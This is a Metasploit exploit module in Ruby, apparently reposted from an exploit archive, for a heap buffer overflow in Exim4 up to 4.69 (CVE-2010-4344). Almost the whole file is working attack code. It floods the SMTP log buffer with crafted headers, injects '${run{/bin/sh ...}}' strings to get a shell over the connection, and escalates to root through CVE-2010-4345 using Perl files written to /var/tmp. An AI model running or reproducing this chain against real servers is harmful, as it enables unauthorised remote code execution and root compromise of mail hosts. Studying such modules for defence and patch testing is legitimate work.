Exim4 <= 4.69 string_format Function Heap Buffer Overflow

                							

                ##
# $Id: exim4_string_format.rb 11289 2010-12-11 10:55:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Smtp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Exim4 <= 4.69 string_format Function Heap Buffer Overflow',
      'Description'    => %q{
          This module exploits a heap buffer overflow within versions of Exim prior to
        version 4.69. By sending a specially crafted message, an attacker can corrupt the
        heap and execute arbitrary code with the privileges of the Exim daemon.

        The root cause is that no check is made to ensure that the buffer is not full
        prior to handling '%s' format specifiers within the 'string_vformat' function.
        In order to trigger this issue, we get our message rejected by sending a message
        that is too large. This will call into log_write to log rejection headers (which
        is a default configuration setting). After filling the buffer, a long header
        string is sent. In a successful attempt, it overwrites the ACL for the 'MAIL
        FROM' command. By sending a second message, the string we sent will be evaluated
        with 'expand_string' and arbitrary shell commands can be executed.

        It is likely that this issue could also be exploited using other techniques such
        as targeting in-band heap management structures, or perhaps even function pointers
        stored in the heap. However, these techniques would likely be far more platform
        specific, more complicated, and less reliable.

        This bug was original found and reported in December 2008, but was not
        properly handled as a security issue. Therefore, there was a 2 year lag time
        between when the issue was fixed and when it was discovered being exploited
        in the wild. At that point, the issue was assigned a CVE and began being
        addressed by downstream vendors.

        An additional vulnerability, CVE-2010-4345, was also used in the attack that
        led to the discovery of danger of this bug. This bug allows a local user to
        gain root privileges from the Exim user account. If the Perl interpreter is
        found on the remote system, this module will automatically exploit the
        secondary bug as well to get root.
      },
      'Author'         => [ 'jduck', 'hdm' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 11289 $',
      'References'     =>
        [
          [ 'CVE', '2010-4344' ],
          [ 'OSVDB', '69685' ],
          # [ 'BID', '' ],
          [ 'CVE', '2010-4345' ],
          #[ 'OSVDB', '' ],
          # [ 'BID', '' ],
          [ 'URL', 'http://seclists.org/oss-sec/2010/q4/311' ],
          [ 'URL', 'http://www.gossamer-threads.com/lists/exim/dev/89477' ],
          [ 'URL', 'http://bugs.exim.org/show_bug.cgi?id=787' ],
          [ 'URL', 'http://git.exim.org/exim.git/commitdiff/24c929a27415c7cfc7126c47e4cad39acf3efa6b' ]
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 8192, # much more in reality, but w/e
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl ruby bash telnet',
            }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          [ 'Automatic', { } ],
        ],
      # Originally discovered/reported Dec 2 2008
      'DisclosureDate' => 'Dec 7 2010', # as an actual security bug
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('MAILFROM', [ true, 'FROM address of the e-mail', 'root@localhost']),
        OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'postmaster@localhost']),
        OptString.new('EHLO_NAME', [ false, 'The name to send in the EHLO' ])
      ], self.class)

    register_advanced_options(
      [
        OptString.new("SourceAddress", [false, "The IP or hostname of this system as the target will resolve it"]),
        OptBool.new("SkipEscalation", [true, "Specify this to skip the root escalation attempt", false]),
        OptBool.new("SkipVersionCheck", [true, "Specify this to skip the version check", false])
      ], self.class)
  end

  def exploit
    #
    # Connect and grab the banner
    #
    ehlo = datastore['EHLO_NAME']
    ehlo ||= Rex::Text.rand_text_alphanumeric(8) + ".com"

    connect
    print_status("Server: #{self.banner.strip}")
    ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")

    if not datastore['SkipVersionCheck'] and self.banner !~ /Exim 4\.6\d+/i
      print_error("Warning: This version of Exim is not exploitable")
      return
    end

    ehlo_resp.each_line do |line|
      print_status("EHLO: #{line.strip}")
    end

    #
    # Determine the maximum message size
    #
    max_msg = 52428800
    if ehlo_resp.to_s =~ /250-SIZE (\d+)/
      max_msg = $1.to_i
    end

    #
    # Determine what hostname the server sees
    #
    saddr = nil
    revdns = nil
    if ehlo_resp =~ /^250.*Hello ([^\s]+) \[([^\]]+)\]/
      revdns = $1
      saddr = $2
    end
    source = saddr || datastore["SourceAddress"] || Rex::Socket.source_address('1.2.3.4')
    print_status("Determined our hostname is #{revdns} and IP address is #{source}")


    #
    # Initiate the message
    #
    from = datastore['MAILFROM']
    to   = datastore['MAILTO']

    resp = raw_send_recv("MAIL FROM: #{from}\r\n")
    print_status("MAIL: #{resp.strip}")

    resp = raw_send_recv("RCPT TO: #{to}\r\n")
    print_status("RCPT: #{resp.strip}")

    resp = raw_send_recv("DATA\r\n")
    print_status("DATA: #{resp.strip}")


    #
    # Calculate the headers
    #
    msg_len         = max_msg + (1024*256) # just for good measure
    log_buffer_size = 8192

    host_part = "H="
    host_part << revdns << " " if revdns != ehlo
    host_part << "(#{ehlo})"

    # The initial headers will fill up the 'log_buffer' variable in 'log_write' function
    print_status("Constructing initial headers ...")
    log_buffer = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from <#{from}> #{host_part} [#{source}]: message too big: read=#{msg_len} max=#{max_msg}\n"
    log_buffer << "Envelope-from: <#{from}>\nEnvelope-to: <#{to}>\n"

    # Now, "  " + hdrline for each header
    hdrs = []
    filler = rand_text_alphanumeric(8 * 16)
    header_name = rand_text_alpha(6).capitalize


    # We want 2 bytes left, so we subtract from log_buffer_size here
    log_buffer_size -= 3 # we use 3 since they account for a trailing nul
    60.times { |x|
      break if log_buffer.length >= log_buffer_size

      hdr = "#{header_name}%04d: %s\n" % [x, filler]
      newlen = log_buffer.length + hdr.length
      if newlen > log_buffer_size
        newlen -= log_buffer_size
        # chop the excess, NOTE: the "2" is for the "  " before the header
        off = hdr.length - newlen - 2 - 1
        hdr.slice!(off, hdr.length)
        hdr << "\n"
      end
      hdrs << hdr
      log_buffer << "  " << hdr
    }
    hdrs1 = hdrs.join

    header_name = Rex::Text.rand_text_alpha(7).capitalize

    # This header will smash various heap stuff, hopefully including the ACL
    print_status("Constructing HeaderX ...")
    hdrx = "#{header_name}: "
    1.upto(50) { |a|
      3.upto(12) { |b|
        hdrx << "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} "
      }
    }

    # In order to trigger the overflow, we must get our message rejected.
    # To do so, we send a message that is larger than the maximum.

    print_status("Constructing body ...")
    body = ''
    fill = (Rex::Text.rand_text_alphanumeric(254) + "\r\n") * 16384

    while(body.length < msg_len)
      body << fill
    end
    body = body[0, msg_len]

    print_status("Sending #{msg_len / (1024*1024)} megabytes of data...")
    sock.put hdrs1
    sock.put hdrx
    sock.put "\r\n"
    sock.put body

    print_status("Ending first message.")
    buf = raw_send_recv("\r\n.\r\n")
    # Should be: ""552 Message size exceeds maximum permitted\r\n"
    print_status("Result: #{buf.inspect}") if buf

    print_status("Sending second message ...")
    buf = raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
    # Should be: "sh-x.x$ " !!
    print_status("MAIL result: #{buf.inspect}") if buf

    buf = raw_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n")
    # Should be: "sh: RCPT: command not found\n"
    print_status("RCPT result: #{buf.inspect}") if buf
    sock.get_once(-1, 1.0)

    # Clear pending output from the socket
    sock.put("source /etc/profile >/dev/null 2>&1\n")
    sock.get_once(-1, 2.0)
    resp = ''

    if not datastore['SkipEscalation']
      print_status("Looking for Perl to facilitate escalation...")
      # Check for Perl as a way to escalate our payload
      sock.put("perl -V\n")
      select(nil, nil, nil, 3.0)
      resp = sock.get_once(-1, 10.0)
    end

    if resp !~ /Summary of my perl/
      print_status("Should have a shell now, sending payload...")
      buf = raw_send_recv("\n" + payload.encoded + "\n\n")
      if buf
        if buf =~ /554 SMTP synchronization error/
          print_error("This target may be patched: #{buf.strip}")
        else
          print_status("Payload result: #{buf.inspect}")
        end
      end
    else
      print_status("Perl binary detected, attempt to escalate...")

      token = Rex::Text.rand_text_alpha(8)
      # Flush the output from the shell
      sock.get_once(-1, 0.1)

      # Find the perl interpreter path
      sock.put("which perl;echo #{token}\n")
      buff = ""
      cnt  =
      while not buff.index(token)
        res = sock.get_once(-1, 0.25)
        buff << res if res
      end

      perl_path = buff.gsub(token, "").gsub(/\/perl.*/, "/perl").strip
      print_status("Using Perl interpreter at #{perl_path}...")

      temp_conf = "/var/tmp/" + Rex::Text.rand_text_alpha(8)
      temp_perl = "/var/tmp/" + Rex::Text.rand_text_alpha(8)
      temp_eof  = Rex::Text.rand_text_alpha(8)

      print_status("Creating temporary files #{temp_conf} and #{temp_perl}...")

      data_conf = "spool_directory = ${run{#{perl_path} #{temp_perl}}}\n".unpack("H*")[0]
      sock.put("perl -e 'print pack qq{H*},shift' #{data_conf} > #{temp_conf}\n")

      data_perl =  "#!/usr/bin/perl\n$) = $( = $> = $< = 0; system<DATA>;\n__DATA__\n#{payload.encoded}\n".unpack("H*")[0]
      sock.put("perl -e 'print pack qq{H*},shift' #{data_perl} > #{temp_perl}\n")

      print_status("Attempting to execute payload as root...")
      sock.put("PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin exim -C#{temp_conf} -q\n")
    end

    # Give some time for the payload to be consumed
    select(nil, nil, nil, 4)

    handler
    disconnect
  end

end
<p>